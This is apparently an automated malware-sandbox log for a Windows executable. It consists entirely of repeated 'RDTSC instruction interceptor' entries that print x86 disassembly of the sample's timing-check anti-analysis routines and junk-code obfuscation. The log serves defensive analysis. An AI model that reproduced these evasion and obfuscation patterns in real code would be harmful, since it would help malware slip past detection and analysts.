Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6E5A second address: DC6E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6E63 second address: DC6E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08927 second address: E0893C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F52D87EB82Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0947D second address: E094F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jo 00007F52D91A3370h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F52D91A3358h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push esi 0x00000028 pop edi 0x00000029 push 00000000h 0x0000002b or dword ptr [ebp+122D1B10h], esi 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F52D91A3358h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d movsx esi, bx 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 pushad 0x00000055 popad 0x00000056 push ecx 0x00000057 pop ecx 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E094F8 second address: E094FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E094FE second address: E09502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09EE6 second address: E09F0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB833h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09F0B second address: E09F23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3364h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09F23 second address: E09F28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BE54 second address: E0BE5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BE5A second address: E0BE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BE60 second address: E0BE64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CEC5 second address: E0CF53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D87EB833h 0x00000009 popad 0x0000000a jbe 00007F52D87EB828h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F52D87EB82Dh 0x00000019 nop 0x0000001a add edi, 02FE2A46h 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F52D87EB828h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000015h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c pushad 0x0000003d mov dword ptr [ebp+122D294Ch], edx 0x00000043 mov si, 1FDBh 0x00000047 popad 0x00000048 push 00000000h 0x0000004a push 00000000h 0x0000004c push edx 0x0000004d call 00007F52D87EB828h 0x00000052 pop edx 0x00000053 mov dword ptr [esp+04h], edx 0x00000057 add dword ptr [esp+04h], 00000018h 0x0000005f inc edx 0x00000060 push edx 0x00000061 ret 0x00000062 pop edx 0x00000063 ret 0x00000064 or edi, 0598D9D4h 0x0000006a xchg eax, esi 0x0000006b pushad 0x0000006c push ecx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CF53 second address: E0CF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CF5B second address: E0CF61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DE23 second address: E0DE9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F52D91A3356h 0x00000009 jg 00007F52D91A3356h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F52D91A3358h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d or dword ptr [ebp+1244E830h], edx 0x00000033 je 00007F52D91A335Ch 0x00000039 sbb ebx, 7BA102ACh 0x0000003f pushad 0x00000040 mov ebx, 3E3E479Bh 0x00000045 cld 0x00000046 popad 0x00000047 push 00000000h 0x00000049 jns 00007F52D91A3356h 0x0000004f push 00000000h 0x00000051 jmp 00007F52D91A3369h 0x00000056 push eax 0x00000057 ja 00007F52D91A335Eh 0x0000005d push ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DFB0 second address: E0DFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FE8A second address: E0FE99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FE99 second address: E0FE9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FE9F second address: E0FEA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FEA3 second address: E0FEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F52D87EB826h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FEB5 second address: E0FECA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FECA second address: E0FECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FECE second address: E0FED2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F00D second address: E0F01E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F52D87EB828h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F01E second address: E0F03C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F52D91A3369h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12DED second address: E12DF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12DF3 second address: E12DF8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11F9F second address: E11FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11FA3 second address: E11FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11FA9 second address: E11FB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12FF1 second address: E1300E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1300E second address: E1301C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14D4B second address: E14D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14D51 second address: E14DC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F52D87EB828h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 pushad 0x00000026 jng 00007F52D87EB828h 0x0000002c pushad 0x0000002d popad 0x0000002e pushad 0x0000002f mov esi, edx 0x00000031 popad 0x00000032 popad 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007F52D87EB828h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f push 00000000h 0x00000051 cmc 0x00000052 push ebx 0x00000053 mov edi, 6E5DAF1Eh 0x00000058 pop edi 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c jbe 00007F52D87EB828h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14DC1 second address: E14DDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3363h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13FC1 second address: E13FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F52D87EB82Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13FD6 second address: E13FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13FDA second address: E13FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16FCC second address: E16FD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16FD0 second address: E16FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16FDA second address: E16FDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17EAB second address: E17EAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17EAF second address: E17EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17EB5 second address: E17EBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E171E5 second address: E171F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F52D91A335Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18D3E second address: E18D44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18D44 second address: E18D6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3361h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d jmp 00007F52D91A335Fh 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18D6D second address: E18DDA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F52D87EB828h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 or edi, dword ptr [ebp+122D2B1Eh] 0x00000029 push 00000000h 0x0000002b mov edi, dword ptr [ebp+122D2B02h] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F52D87EB828h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000015h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d and ebx, dword ptr [ebp+122D2908h] 0x00000053 cmc 0x00000054 xchg eax, esi 0x00000055 jmp 00007F52D87EB82Ch 0x0000005a push eax 0x0000005b push ecx 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E180EA second address: E180F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19DE4 second address: E19E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jnp 00007F52D87EB830h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F52D87EB828h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 jmp 00007F52D87EB82Dh 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F52D87EB828h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 jmp 00007F52D87EB834h 0x0000004e mov ebx, 32E19DCFh 0x00000053 push 00000000h 0x00000055 mov dword ptr [ebp+122D28FCh], esi 0x0000005b sub dword ptr [ebp+122D2EE5h], ecx 0x00000061 xchg eax, esi 0x00000062 pushad 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19E75 second address: E19E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19E7B second address: E19E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19E84 second address: E19EAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F52D91A3367h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1900D second address: E19022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F52D87EB826h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19022 second address: E1902C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F52D91A3356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1902C second address: E19032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1AF20 second address: E1AF25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1AF25 second address: E1AF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D87EB82Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F52D87EB828h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 mov bh, dl 0x0000002b push 00000000h 0x0000002d mov edi, 1643751Bh 0x00000032 push 00000000h 0x00000034 mov edi, dword ptr [ebp+122D39ABh] 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jng 00007F52D87EB828h 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1AF7A second address: E1AF8D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F52D91A3358h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1AF8D second address: E1AF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1AF91 second address: E1AF9B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F52D91A3356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19FEE second address: E19FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C07B second address: E1C081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C081 second address: E1C08F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C08F second address: E1C093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C093 second address: E1C109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F52D87EB833h 0x0000000c pop eax 0x0000000d popad 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F52D87EB828h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b jmp 00007F52D87EB838h 0x00000030 push 00000000h 0x00000032 xor ebx, dword ptr [ebp+124539EFh] 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a pushad 0x0000003b jmp 00007F52D87EB830h 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B1EB second address: E1B1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C22E second address: E1C2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007F52D87EB828h 0x0000000b popad 0x0000000c push eax 0x0000000d jng 00007F52D87EB82Ch 0x00000013 nop 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F52D87EB828h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 sbb edi, 11118AFAh 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 push ecx 0x00000043 or bx, 2A0Eh 0x00000048 pop ebx 0x00000049 mov eax, dword ptr [ebp+122D14A5h] 0x0000004f push 00000000h 0x00000051 push edi 0x00000052 call 00007F52D87EB828h 0x00000057 pop edi 0x00000058 mov dword ptr [esp+04h], edi 0x0000005c add dword ptr [esp+04h], 00000016h 0x00000064 inc edi 0x00000065 push edi 0x00000066 ret 0x00000067 pop edi 0x00000068 ret 0x00000069 sub ebx, dword ptr [ebp+122D2CF6h] 0x0000006f push FFFFFFFFh 0x00000071 mov ebx, dword ptr [ebp+122D2B5Eh] 0x00000077 add bx, A4D7h 0x0000007c nop 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 jne 00007F52D87EB826h 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C2C3 second address: E1C2D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jg 00007F52D91A3369h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F3C7 second address: E1F3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB1F5 second address: DBB219 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F52D91A3356h 0x00000008 jmp 00007F52D91A3360h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jnc 00007F52D91A3356h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB219 second address: DBB21E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E296E6 second address: E296F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F52D91A3356h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E296F6 second address: E296FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E296FA second address: E2970B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D91A335Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
